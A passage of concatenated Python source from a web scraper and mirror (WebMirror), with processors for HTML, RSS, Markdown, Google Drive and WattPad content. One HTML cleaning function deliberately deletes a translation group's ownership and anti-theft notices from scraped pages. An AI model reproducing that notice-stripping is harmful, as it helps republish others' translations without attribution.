	#	##    ##  ##     ## ##     ## ##    ##  ##       ##               ##     ## ##    ##   ##    ## ##   ##
	#	 ######    #######   #######   ######   ######## ########         ########  ##     ## ####    ###    ########
	#
	########################################################################################################################



	def extractGoogleDriveFolder(self, driveUrl):
		'''
		Extract all the relevant links from a google drive directory, and push them into
		the queued URL queue.

		'''

		newLinks = []
		self.log.info("Fetching drive container page")
		docReferences, pgTitle = gdp.GDocExtractor.getDriveFileUrls(driveUrl)
		# print('docReferences', docReferences)
		for dummy_title, url in docReferences:
			url = urlFuncs.trimGDocUrl(url)
			if url not in newLinks:
				newLinks.append(url)

		self.log.info("Generating google drive disambiguation page!")
		soup = gdp.makeDriveDisambiguation(docReferences, pgTitle)
		# print(disamb)

		soup = self.relink(soup)

		disamb = soup.prettify()

		ret = {}

		ret['contents']   = disamb
		ret['title']      = pgTitle
		ret['plainLinks'] = newLinks
		ret['rsrcLinks']  = []  # drive folders don't have resources


		self.log.info("Found %s items in google drive directory", len(docReferences))

		return ret



	def extractContent(self):
		return self.extractGoogleDriveFolder(self.pageUrl)




def test():
	print("Test mode!")
	import webFunctions
	import logSetup
	logSetup.initLogging()

	scraper = GDriveDirProcessor('https://drive.google.com/folderview?id=0B_mXfd95yvDfQWQ1ajNWZTJFRkk&usp=drive_web', 'Main.Test')
	print(scraper)
	extr = scraper.extractContent()
	print('Plain Links:')
	for link in extr['plainLinks']:
		print(link)
	print()
	print()
	print('Resource files:')
	for link in extr['rsrcLinks']:
		print(link)
	print(extr['contents'])


if __name__ == "__main__":
	test()








from . import ProcessorBase





class BinaryResourceProcessor(ProcessorBase.PageProcessor):

	# This is the last-resort option.
	want_priority    = 1

	wanted_mimetypes = [
						"image/gif",
						"image/jpeg",
						"image/pjpeg",
						"image/png",
						"image/svg+xml",
						"image/vnd.djvu",
						"application/octet-stream",
						"image/webp",

						]

	# Last case, match everything.
	mimetype_catchall = True

	loggerPath = "Main.Text.FileProc"

	def __init__(self, pageUrl, pgContent, mimeType, loggerPath, **kwargs):
		self.loggerPath = loggerPath+".BinSaver"

		self._tld           = set()
		self._fileDomains   = set()

		self.content  = pgContent
		self.pageUrl  = pageUrl
		self.mimeType = mimeType



	# Dummy wrapper call to shove
	# files through the plugin system.
	def extractContent(self):
		self.log.info("Processing '%s' as binary file.", self.pageUrl)




		ret = {
			'file'     : True,
			'content'  : self.content,
			'fName'    : self.pageUrl,
			'mimeType' : self.mimeType,

		}


		return ret

		# self.updateDbEntry(url=url, title=pgTitle, contents=pgBody, mimetype=mimeType, dlstate=2)









import bs4
import copy
import re
import time
import webcolors
import urllib.parse
import WebMirror.util.webFunctions

import WebMirror.util.urlFuncs as urlFuncs
from . import ProcessorBase
import markdown


########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################




class HtmlPageProcessor(ProcessorBase.PageProcessor):


	wanted_mimetypes = ['text/html']
	want_priority    = 50

	loggerPath = "Main.Text.HtmlProc"

	def __init__(self, baseUrls, pageUrl, pgContent, loggerPath, relinkable, **kwargs):

		self._tld           = set()
		self._fileDomains   = set()

		assert bool(pgContent) == True

		self.content = pgContent
		self.pageUrl = pageUrl

		# kwargs.setdefault("badwords",           [])
		# kwargs.setdefault("decompose",          [])
		# kwargs.setdefault("decomposeBefore",    [])
		# kwargs.setdefault("fileDomains",        [])
		# kwargs.setdefault("allImages",          True)
		# kwargs.setdefault("followGLinks",       True)
		# kwargs.setdefault("ignoreBadLinks",     False)
		# kwargs.setdefault("tld",                set())
		# kwargs.setdefault("stripTitle",         '')
		# kwargs.setdefault("ignoreMissingTitle", False)
		# kwargs.setdefault("destyle",            [])

		# `_decompose` and `_decomposeBefore` are the actual arrays of items to decompose, that are loaded with the contents of
		# `decompose` and `decomposeBefore` on plugin initialization


		self._decompose       = copy.copy(ProcessorBase.GLOBAL_DECOMPOSE_AFTER)
		self._decomposeBefore = copy.copy(ProcessorBase.GLOBAL_DECOMPOSE_BEFORE)
		self.stripTitle       = copy.copy(kwargs['stripTitle'])
		self.destyle          = copy.copy(kwargs['destyle'])
		self.preserveAttrs    = copy.copy(kwargs['preserveAttrs'])


		appends = [
			(kwargs["decompose"],       self._decompose),
			(kwargs["decomposeBefore"], self._decomposeBefore),
		]

		# Move the plugin-defined decompose calls into the control lists
		for src, dst in appends:
			for item in src:
				dst.append(item)





	########################################################################################################################
	#
	#	 ######   ######  ########     ###    ########  #### ##    ##  ######      ######## ##     ## ##    ##  ######  ######## ####  #######  ##    ##  ######
	#	##    ## ##    ## ##     ##   ## ##   ##     ##  ##  ###   ## ##    ##     ##       ##     ## ###   ## ##    ##    ##     ##  ##     ## ###   ## ##    ##
	#	##       ##       ##     ##  ##   ##  ##     ##  ##  ####  ## ##           ##       ##     ## ####  ## ##          ##     ##  ##     ## ####  ## ##
	#	 ######  ##       ########  ##     ## ########   ##  ## ## ## ##   ####    ######   ##     ## ## ## ## ##          ##     ##  ##     ## ## ## ##  ######
	#	      ## ##       ##   ##   ######### ##         ##  ##  #### ##    ##     ##       ##     ## ##  #### ##          ##     ##  ##     ## ##  ####       ##
	#	##    ## ##    ## ##    ##  ##     ## ##         ##  ##   ### ##    ##     ##       ##     ## ##   ### ##    ##    ##     ##  ##     ## ##   ### ##    ##
	#	 ######   ######  ##     ## ##     ## ##        #### ##    ##  ######      ##        #######  ##    ##  ######     ##    ####  #######  ##    ##  ######
	#
	########################################################################################################################




	def processImageLink(self, url, baseUrl):

		# Skip tags with `img src=""`.
		# No idea why they're there, but they are
		if not url:
			return

		# # Filter by domain
		# if not self.allImages and not any([base in url for base in self._fileDomains]):
		# 	return

		# # and by blocked words
		# hadbad = False
		# for badword in self._badwords:
		# 	if badword.lower() in url.lower():
		# 		hadbad = True
		# if hadbad:
		# 	return


		url = urlFuncs.urlClean(url)

		return self.processNewUrl(url, baseUrl=baseUrl, istext=False)





	def extractImages(self, soup, baseUrl):
		ret = []
		for imtag in soup.find_all("img"):
						# Skip empty anchor tags
			try:
				url = imtag["src"]
			except KeyError:
				continue

			item = self.processImageLink(url, baseUrl)
			if item:
				ret.append(item)
		return ret


	def destyleItems(self, soup):
		'''
		using the set of search 2-tuples in `destyle`,
		walk the parse tree and decompose the attributes of any matching
		element.
		'''
		for tagtype, attrs in self.destyle:
			for found in soup.find_all(tagtype, attrs=attrs):
				for key in list(found.attrs):
					del found.attrs[key]

		return soup

	def decomposeItems(self, soup, toDecompose):
		if not soup:
			print("Soup is false? Wat?")

		# print("Decomposing", toDecompose)
		# Decompose all the parts we don't want

		# Use a custom function so we only walk the tree once.
		def searchFunc(tag):
			for candidate in toDecompose:
				matches = [
					(tag.get(key) and any([sattr == value.lower() for sattr in tag.get(key)]))
						for key, value in candidate.items()]
				match = any(matches)
				if match:
					return True
			return False


		have = soup.find_all(searchFunc)

		for instance in have:
			# print("Need to decompose for ", key)
			# So.... yeah. At least one blogspot site has EVERY class used in the
			# <body> tag, for no coherent reason. Therefore, *never* decompose the <body>
			# tag, even if it has a bad class in it.
			if instance.name == 'body':
				continue

			instance.decompose()

		return soup

	def decomposeAdditional(self, soup):


		# Clear out all the iframes
		for instance in soup.find_all('iframe'):
			instance.decompose()

		# Clean out any local stylesheets
		for instance in soup.find_all('style', attrs={"type" : "text/css"}):
			instance.decompose()

		# Even if not explicitly tagged as css
		for instance in soup.find_all('style'):
			instance.decompose()

		# And all remote scripts
		for item in soup.find_all("script"):
			item.decompose()

		# Link tags
		for item in soup.find_all("link"):
			item.decompose()

		# Meta tags
		for item in soup.find_all("meta"):
			item.decompose()

		# Comments
		for item in soup.findAll(text=lambda text:isinstance(text, bs4.Comment)):
			item.extract()

		return soup


	def fixCss(self, soup):
		'''
		So, because the color scheme of our interface can vary from the original, we need to fix any cases
		of white text. However, I want to preserve *most* of the color information.
		Therefore, we look at all the inline CSS, and just patch where needed.
		'''

		hascss = soup.find_all(True, attrs={"style" : True})


		# parser = tinycss.make_parser('page3')

		hexr = re.compile('(#(?:[a-fA-F0-9]{6})|#(?:[a-fA-F0-9]{3}))')

		ascii_color = re.compile('color\W*?:\W*?\w+;?')

		for item in hascss:
			if item['style']:
				ststr = item['style']

				# Prevent inline fonts.
				if 'font:' in ststr.lower() or 'font :' in ststr.lower() :
					item['style'] = ''
				if 'font-family:' in ststr.lower() or 'font-family :' in ststr.lower() :
					item['style'] = ''
				# Disable all explicit width settings.
				if 'width' in ststr.lower():
					item['style'] = ''
				if 'max-width' in ststr.lower():
					item['style'] = ''

				if 'background-image:' in ststr.lower():
					item['style'] = ''



				old = hexr.findall(ststr)
				for match in old:
					color = webcolors.hex_to_rgb(match)
					mean = sum(color)/len(color)

					if mean > 150:
						above = mean - 150
						color = tuple((max(255-cval, 0) for cval in color))
						new = webcolors.rgb_to_hex(color)
						item['style'] = item['style'].replace(match, new)
						#item['style'] = ''

				if ascii_color.findall(ststr):
					item['style'] = ''

				# I really /want/ to use a real CSS parser, but I can't find any
				# that properly let me /generate/ CSS. TinyCSS /parses/, but I can't
				# then convert the parse tree back to css (as far as I can tell, anyways)


				# attr, errors = parser.parse_style_attr(item['style'])

				# new = []
				# for decl in attr:
				# 	if decl.name == "color" and decl.value[0].type == "HASH":
				# 		print(decl)
				# 		print(decl.name)
				# 		print(decl.value)

				# 	print(decl.as_css())

		return soup

	def cleanHtmlPage(self, soup, url=None):

		soup = self.relink(soup)

		title = self.extractTitle(soup, url)


		if isinstance(self.stripTitle, (list, set)):
			for stripTitle in self.stripTitle:
				title = title.replace(stripTitle, "")
		else:
			title = title.replace(self.stripTitle, "")

		title = title.strip()

		# Since the content we're extracting will be embedded into another page, we want to
		# strip out the <body> and <html> tags. `unwrap()`  replaces the soup with the contents of the
		# tag it's called on. We end up with just the contents of the <body> tag.
		if soup.body:
			soup.body.unwrap()
		elif soup.html:
			soup.html.unwrap()

		contents = soup.prettify()

		# Goooooo FUCK YOURSELF
		contents = contents.replace("This translation is property of Infinite Novel Translations.", "")
		contents = contents.replace("This translation is property of Infinite NovelTranslations.", "")
		contents = contents.replace("If you read this anywhere but at Infinite Novel Translations, you are reading a stolen translation.", "")

		return title, contents



	def removeClasses(self, soup):
		cnt = 0

		validattrs = [
			'href',
			'src',
			'style',
			'cellspacing',
			'cellpadding',
			'border',
			'colspan',
			'onclick',
			'type',
			'value',
		]
		print("RemoveClasses call!")

		for item in [item for item in soup.find_all(True) if item]:
			tmp_valid = validattrs[:]
			clean = True
			for name, attr in self.preserveAttrs:
				if item.name == name:
					if attr:
						tmp_valid.append(attr)

					else:
						# Preserve all attributes
						clean = False
			if clean and item.attrs:

				for attr, value in list(item.attrs.items()):
					if attr == 'style' and 'float' in value:
						del item[attr]
					elif attr not in tmp_valid:
						del item[attr]

			# Set the class of tables set to have no borders to the no-border css class for later rendering.
			if item.name == "table" and item.has_attr("border") and item['border'] == "0":
				if not item.has_attr("class"):
					item['class'] = ""
				item['class'] += " noborder"


		return soup


	# Miscellaneous spot-fixes for specific sites.
	def spotPatch(self, soup):

		# Replace <pre> tags on wattpad.
		# wp_div = soup.find_all('div', class_="panel-reading")
		# for item in wp_div:

		# Fukkit, just nuke them in general
		for pre in soup.find_all("pre"):
			pre.name = "div"
			formatted = markdown.markdown(pre.encode_contents().decode("utf-8"), extensions=["linkify"])
			formatted = WebMirror.util.webFunctions.as_soup(formatted)
			if formatted.find("html"):
				formatted.html.unwrap()
				formatted.body.unwrap()
				pre.replace_with(formatted)
			# print(pre)
		return soup




	def preprocessBody(self, soup):
		for link in soup.find_all("a"):
			if link.has_attr("href"):
				if "javascript:if(confirm(" in link['href']:
					qs = urllib.parse.urlsplit(link['href']).query
					link['href'] = "/viewstory.php?{}".format(qs)

		return soup

	# Process a plain HTML page.
	# This call does a set of operations to permute and clean a HTML page.
	#
	# First, it decomposes all tags with attributes dictated in the `_decomposeBefore` class variable
	# it then canonizes all the URLs on the page, extracts all the URLs from the page,
	# then decomposes all the tags in the `decompose` class variable, feeds the content through
	# readability, and finally saves the processed HTML into the database
	def extractContent(self):
		self.log.info("Processing '%s' as HTML (size: %s).", self.pageUrl, len(self.content))
		assert self.content
		# print(type(self.content))

		badxmlprefix = '<?xml version="1.0"?>'
		if self.content.strip().lower().startswith(badxmlprefix):
			self.content = self.content[len(badxmlprefix):]


		soup = WebMirror.util.webFunctions.as_soup(self.content)
		# try:
		# 	soup = WebMirror.util.webFunctions.as_soup(self.content)
		# except AttributeError as e:
		# 	with open("badpage %s.html" % time.time(), "w") as fp:
		# 		fp.write(self.content)
		# 		raise e


		# Allow child-class hooking
		soup = self.preprocessBody(soup)

		# Clear out any particularly obnoxious content before doing any parsing.
		soup = self.decomposeItems(soup, self._decomposeBefore)

		# Make all the page URLs fully qualified, so they're unambiguous
		soup = urlFuncs.canonizeUrls(soup, self.pageUrl)

		# pull out the page content and enqueue it. Filtering is
		# done in the parent.
		plainLinks = self.extractLinks(soup, self.pageUrl)
		imageLinks = self.extractImages(soup, self.pageUrl)

		# Do the later cleanup to prep the content for local rendering.
		soup = self.decomposeItems(soup, self._decompose)

		soup = self.decomposeAdditional(soup)
		soup = self.spotPatch(soup)
		soup = self.destyleItems(soup)

		# Allow child-class hooking
		soup = self.postprocessBody(soup)

		soup = self.removeClasses(soup)

		soup = self.fixCss(soup)

		# Process page with readability, extract title.
		pgTitle, pgBody = self.cleanHtmlPage(soup, url=self.pageUrl)

		ret = {}

		# If an item has both a plain-link and an image link, prefer the
		# image link, and delete it from the plain link list
		for link in imageLinks:
			if link in plainLinks:
				plainLinks.remove(link)

		ret['plainLinks'] = plainLinks
		ret['rsrcLinks']  = imageLinks
		ret['title']      = pgTitle
		ret['contents']   = pgBody


		return ret

		# self.updateDbEntry(url=url, title=pgTitle, contents=pgBody, mimetype=mimeType, dlstate=2)










import runStatus
runStatus.preloadDicts = False

from . import ProcessorBase


import feedparser
import bs4
import json
import calendar
import traceback
import WebMirror.OutputFilters.rss.FeedDataParser

# import TextScrape.RelinkLookup
# import TextScrape.RELINKABLE as RELINKABLE


import WebMirror.processor.HtmlProcessor


########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################




class RssProcessor(WebMirror.OutputFilters.rss.FeedDataParser.DataParser):


	wanted_mimetypes = [
							'application/atom+xml',
							'application/rdf+xml',
							'application/rss+xml',
							'application/xml',
							'text/xml',
						]
	want_priority    = 50

	loggerPath = "Main.Text.RssProcessor"

	_no_ret = False

	@staticmethod
	def wantsFromContent(content):
		try:
			# Check if the feed has a version
			feed = feedparser.parse(content)
			return bool(feed['version'])
		except Exception:
			return False

	def __init__(self, **kwargs):

		super().__init__(**kwargs)

		# We're inheriting from a filter (which implicitly sets _no_ret),
		# but we /do/ return content (Rss is a oddball filter instance), so
		# therefore we reset _no_ret after calling the parent initializer
		self._no_ret = False

		self.kwargs     = kwargs

		self.loggerPath = kwargs['loggerPath']+".RssProcessor"
		self.pageUrl    = kwargs['pageUrl']

		self.content    = kwargs['pgContent']
		self.type       = kwargs['type']

		self.log.info("Processing RSS Item")


	# @profile
	def parseFeed(self, rawFeed):
		return feedparser.parse(rawFeed)




	def extractFeedContents(self, feedUrl, contentDat):
		# TODO: Add more content type parsing!

		# So the complete fruitcakes at http://gravitytales.com/feed/ are apparently
		# embedding their RSS entries in a CDATA field in their feed, somehow.
		# Anyways, I think they probably broke wordpress. However, they're then breaking
		# /my/ stuff, so work around their fucked up feed format.
		if isinstance(contentDat, str):
			contentDat = [{
				'value' : contentDat,
				'type'  : 'text/html'
			}]
		if len(contentDat) != 1:
			print(contentDat)
			raise ValueError("How can one post have multiple contents?")

		contentDat = contentDat[0]


		# params = self.kwargs.copy()


		# params['pgContent'] = contentDat['value']
		# params['mimeType']  = contentDat['type']


		# # baseUrls, pageUrl, pgContent, loggerPath, relinkable
		# scraper = WebMirror.processor.HtmlProcessor.HtmlPageProcessor(**params)

		# extracted = scraper.extractContent()
		# assert contentDat['type'] == 'text/html'
		# content = extracted['contents']
		content = "Disabled?"

		# Use a parser that doesn't try to generate a well-formed output (and therefore doesn't insert
		# <html> or <body> into content that will be only a part of the rendered page)
		soup = bs4.BeautifulSoup(content, "html.parser")



		if soup.html:
			soup.html.unwrap()
		if soup.body:
			soup.body.unwrap()

		try:
			cont = soup.prettify()
		except RuntimeError:
			try:
				cont = str(soup)
			except RuntimeError:
				cont = '<H2>WARNING - Failure when cleaning and extracting content!</H2><br><br>'
				cont += content


		return content


	def processFeed(self, feed, feedUrl):


		meta = feed['feed']
		entries = feed['entries']

		ret = []

		for entry in entries:

			if entry['title'].startswith('User:'):
				# The tsuki feed includes changes to user pages. Fuck that noise. Ignore that shit.
				continue

			if not 'guid' in entry:
				# print("if not 'guid' in entry:")
				continue
			if not "authors" in entry:
				# print('if not "authors" in entry:')
				continue

			item = {}
			item['feedtype'] = self.type

			item['title']    = entry['title']
			item['guid']     = entry['guid']
			item['linkUrl']  = entry['link']
			item['authors']  = entry['authors']



			if 'updated_parsed' in entry:
				item['updated']   = calendar.timegm(entry['updated_parsed'])

			if 'published_parsed' in entry:
				item['published'] = calendar.timegm(entry['published_parsed'])

			if not 'published' in item or ('updated' in item and item['published'] > item['updated']):
				item['published'] = item['updated']

			if not 'updated' in item:
				item['updated']   = 0

			item['tags']    = []
			if 'tags' in entry:
				for tag in entry['tags']:
					item['tags'].append(tag['term'])


			if 'content' in entry:
				item['contents'] = self.extractFeedContents(feedUrl, entry['content'])
			elif 'summary' in entry:
				item['contents'] = self.extractFeedContents(feedUrl, entry['summary'])
			else:
				self.log.error('Empty item in feed?')
				self.log.error('Feed url: %s', feedUrl)
				continue


			# print("Keys: ", list(item.keys()))


			# processFeedData() call has to be /before/ we convert the tags to a json object.
			self.processFeedData(item)


			assert(isinstance(item['published'], (float, int))), "Wrong type for item['published']. Expected '%s', received '%s'" % ((float, int), type(item['published']))
			assert(isinstance(item['updated'], (float, int, type(None)))), "Wrong type for item['updated']. Expected '%s', received '%s'" % ((float, int, type(None)), type(item['updated']))

			# print("Keys: ", list(item.keys()))
			ret.append(item)
		return ret



	def extractContent(self):
		print("Rss extracting content!")


		feed = self.parseFeed(self.content)
		try:
			data = self.processFeed(feed, self.pageUrl)
		except Exception as e:
			self.log.critical("Failure parsing RSS feed!")
			for line in traceback.format_exc().split("\n"):
				self.log.critical(line)
			raise e


		# print(data)
		# self.insertFeed(tableName, tableKey, pluginName, feedUrl, data, badwords)


		ret = {}
		# No links here

		ret['rss-content'] = (data)
		return ret




def testJobFromUrl(url):
	import datetime
	import WebMirror.database
	return WebMirror.database.WebPages(
				state     = 'fetching',
				url       = url,
				starturl  = url,
				netloc    = "wat",
				distance  = WebMirror.database.MAX_DISTANCE-2,
				is_text   = True,
				priority  = WebMirror.database.DB_REALTIME_PRIORITY,
				type      = "unknown",
				fetchtime = datetime.datetime.now(),
				)



def test():
	print("Test mode!")
	import logSetup
	import WebMirror.rules
	import WebMirror.Engine
	import multiprocessing
	logSetup.initLogging()

	c_lok = cookie_lock = multiprocessing.Lock()
	engine = WebMirror.Engine.SiteArchiver(cookie_lock=c_lok)



	url = 'http://taulsn.wordpress.com/feed/'

	job = testJobFromUrl(url)
	engine.dispatchRequest(job)


	url = 'http://turb0translation.blogspot.com/feeds/posts/default'
	job = testJobFromUrl(url)
	engine.dispatchRequest(job)


	url = 'http://www.w3schools.com/xml/note.xml'
	job = testJobFromUrl(url)
	engine.dispatchRequest(job)


if __name__ == "__main__":
	test()










import runStatus
runStatus.preloadDicts = False

from . import ProcessorBase


import markdown

# import TextScrape.RelinkLookup
# import TextScrape.RELINKABLE as RELINKABLE



########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################




class MarkdownProcessor(ProcessorBase.PageProcessor):


	wanted_mimetypes = ['text/plain']
	want_priority    = 50

	loggerPath = "Main.Text.MarkdownProcessor"

	# def __init__(self, pageUrl, loggerPath, content, pbLut, **kwargs):

	def __init__(self, baseUrls, pageUrl, pgContent, loggerPath, relinkable, **kwargs):

		'''
		I'm assuming that pastebin content doesn't have any links, because lazy, mostly.
		'''
		self.loggerPath = loggerPath+".MarkdownProcessor"
		self.pageUrl    = pageUrl

		self.content    = pgContent
		self.urlLut     = {}

		# if isinstance(scannedDomains, (set, list)):
		# 	for url in scannedDomains:
		# 		self.installBaseUrl(url)
		# else:
		# 	self.installBaseUrl(scannedDomains)

		# File mapping LUT
		# self.fMap = {}


	# Methods to allow the child-class to modify the content at various points.
	def extractMarkdownTitle(self, content, url):
		# Take the first non-empty line, and just assume it's the title. It'll be close enough.

		prefix = None
		for urlText, prepend in self.urlLut.items():
			if urlText in url:
				prefix = prepend

		title = content.strip().split("\n")[0].strip()

		if prefix:
			title = "{prefix} - {title}".format(prefix=prefix, title=title)

		return title



	# Process a Google-Doc resource page.
	# This call does a set of operations to permute and clean a google doc page.
	def extractContent(self):




		title = self.extractMarkdownTitle(self.content, self.pageUrl)
		procContent = markdown.markdown(self.content)

		self.log.info("Processed title: '%s'", title)
		ret = {}
		# No links here
		ret['plainLinks'] = []
		ret['rsrcLinks']  = []
		ret['title']      = title
		ret['contents']   = procContent

		return ret


def test():
	print("Test mode!")
	import webFunctions
	import logSetup
	logSetup.initLogging()

	# wg = webFunctions.WebGetRobust()
	# # content = wg.getpage('http://www.arstechnica.com')
	# scraper = GdocPageProcessor('https://docs.google.com/document/d/1atXMtCutHRpcHwSRS5UyMAC58_gQjMPR2dDVn1LCD3E', 'Main.Test', 'testinating')
	# print(scraper)
	# extr, rsc = scraper.extractContent()
	# print('Plain Links:')
	# for link in extr['plainLinks']:
	# 	print(link)
	# print()
	# print()
	# print('Resource files:')
	# # for link in extr['rsrcLinks']:
	# # 	print(link)

	# for fName, mimeType, content, pseudoUrl in rsc:
	# 	print(fName, mimeType, pseudoUrl)
	# # print(extr['contents'])



if __name__ == "__main__":
	test()
















import runStatus
runStatus.preloadDicts = False

from . import ProcessorBase


import feedparser
import bs4
import json
import calendar
import WebMirror.util.webFunctions
import WebMirror.OutputFilters.rss.FeedDataParser

# import TextScrape.RelinkLookup
# import TextScrape.RELINKABLE as RELINKABLE


import WebMirror.processor.HtmlProcessor


########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################




class WattPadJsonProcessor(ProcessorBase.PageProcessor):


	wanted_mimetypes = [
							'text/json',
							'application/json',

							# Sometimes, the content-type is broken somehow. Not sure why
							'text/plain',
						]

	# Priority is higher because we want text/plain items
	# before the markdown processor can get them.
	want_priority    = 60

	loggerPath = "Main.Text.WattPadJsonProcessor"



	def __init__(self, **kwargs):

		self.kwargs     = kwargs

		self.loggerPath = kwargs['loggerPath']+".WattPadJsonProcessor"
		self.pageUrl    = kwargs['pageUrl']

		self.content    = kwargs['pgContent']
		self.type       = kwargs['type']

		self.log.info("Processing WattPad JSON Item")
		super().__init__()

	@staticmethod
	def wantsUrl(url):
		if "www.wattpad.com/api/v3/" in url:
			return True
		return False


	def buildPage(self, data):
		'''
		Build up a simple disambiguation page for the links.
		'''

		if data:
			title = "WattPad Stories Container"
		else:
			return "(empty) WattPad Stories Container", '~~Nothing here~~', []

		soup = WebMirror.util.webFunctions.as_soup()
		container = soup.new_tag("div")
		soup.append(container)

		links = []

		for item in data:
			links.append(item['url'])

			tmp = soup.new_tag("div")
			h3 = soup.new_tag("h3")
			link = soup.new_tag("a", href=item['url'])
			link.string = item['title']
			h3.append(link)
			tmp.append(h3)

			if 'description' in item and item['description']:
				p = soup.new_tag('p')
				p.string = item['description']
				tmp.append(p)
			container.append(tmp)



		content = soup.prettify()

		return title, content, links


	def extractContent(self):
		ret = {}

		ret['plainLinks'] = []
		ret['rsrcLinks']  = []
		ret['title']      = ""
		ret['contents']   = ""

		try:
			unpacked = json.loads(self.content)
		except Exception:
			self.log.error("Failure to decode content!")
			self.log.error("Page content:")
			self.log.error("'%s'", self.content)
			raise

		if "nextUrl" in unpacked:
			# print("nextUrl:", unpacked['nextUrl'])
			ret['plainLinks'].append(unpacked['nextUrl'])

		if "stories" in unpacked:
			ret['title'], ret['contents'], newLinks = self.buildPage(unpacked['stories'])
			ret['plainLinks'] += newLinks

		# print("Link #", len(ret['plainLinks']))
		return ret




def testJobFromUrl(url):
	import datetime
	import WebMirror.database
	return WebMirror.database.WebPages(
				state     = 'fetching',
				url       = url,
				starturl  = url,
				netloc    = "wat",
				distance  = WebMirror.database.MAX_DISTANCE-2,
				is_text   = True,
				priority  = WebMirror.database.DB_REALTIME_PRIORITY,
				type      = "unknown",
				fetchtime = datetime.datetime.now(),
				)



def test():
	print("Test mode!")
	import logSetup
	import WebMirror.rules
	import WebMirror.Engine
	import multiprocessing
	logSetup.initLogging()

	c_lok = cookie_lock = multiprocessing.Lock()
	engine = WebMirror.Engine.SiteArchiver(cookie_lock=c_lok)



	job = testJobFromUrl(r'https://www.wattpad.com/api/v3/stories?fields%3Dstories%28id%2Ctitle%2Curl%2Cdescription%29%2Ctotal%2CnextUrl&limit=50&offset=0')
	engine.dispatchRequest(job)

	job = testJobFromUrl(r'https://www.wattpad.com/api/v3/stories?fields%3Dstories%28id%2Ctitle%2Curl%2Cdescription%29%2Ctotal%2CnextUrl&limit=50&offset=1490')
	engine.dispatchRequest(job)

	job = testJobFromUrl(r'https://www.wattpad.com/api/v3/stories?fields%3Dstories%28id%2Ctitle%2Curl%2Cdescription%29%2Ctotal%2CnextUrl&limit=50&offset=1500')
	engine.dispatchRequest(job)

	job = testJobFromUrl(r'https://www.wattpad.com/api/v3/stories?fields%3Dstories%28id%2Ctitle%2Curl%2Cdescription%29%2Ctotal%2CnextUrl&limit=50&offset=1550')
	engine.dispatchRequest(job)


if __name__ == "__main__":
	test()










import runStatus
runStatus.preloadDicts = False

# import Levenshtein as lv



import WebMirror.util.urlFuncs as urlFuncs
import urllib.parse
import WebMirror.LogBase as LogBase
import abc

import config




########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################




GLOBAL_BAD = [
			'gprofiles.js',
			'netvibes.com',
			'accounts.google.com',
			'edit.yahoo.com',
			'add.my.yahoo.com',
			'public-api.wordpress.com',
			'r-login.wordpress.com',
			'twitter.com',
			'facebook.com',
			'public-api.wordpress.com',
			'wretch.cc',
			'ws-na.amazon-adsystem.com',
			'delicious.com',
			'paypal.com',
			'digg.com',
			'topwebfiction.com',
			'/page/page/',
			'addtoany.com',
			'stumbleupon.com',
			'delicious.com',
			'reddit.com',
			'newsgator.com',
			'technorati.com',
			'feeds.wordpress.com',
			'www.addtoany.com'
	]

GLOBAL_DECOMPOSE_BEFORE = [
			{'name'     : 'likes-master'},  # Bullshit sharing widgets
			{'id'       : 'jp-post-flair'},
			{'class'    : 'post-share-buttons'},
			{'class'    : 'commentlist'},  # Scrub out the comments so we don't try to fetch links from them
			{'class'    : 'comments'},
			{'id'       : 'comments'},
		]

GLOBAL_DECOMPOSE_AFTER = []

class PageProcessor(LogBase.LoggerMixin, metaclass=abc.ABCMeta):


	@abc.abstractproperty
	def wanted_mimetypes(self):
		pass

	# The first plugin with mimetype_catchall == True gets anything the other plugins didn't match.
	mimetype_catchall = False

	@abc.abstractproperty
	def want_priority(self):
		pass


	@abc.abstractmethod
	def extractContent(self):
		pass

	@staticmethod
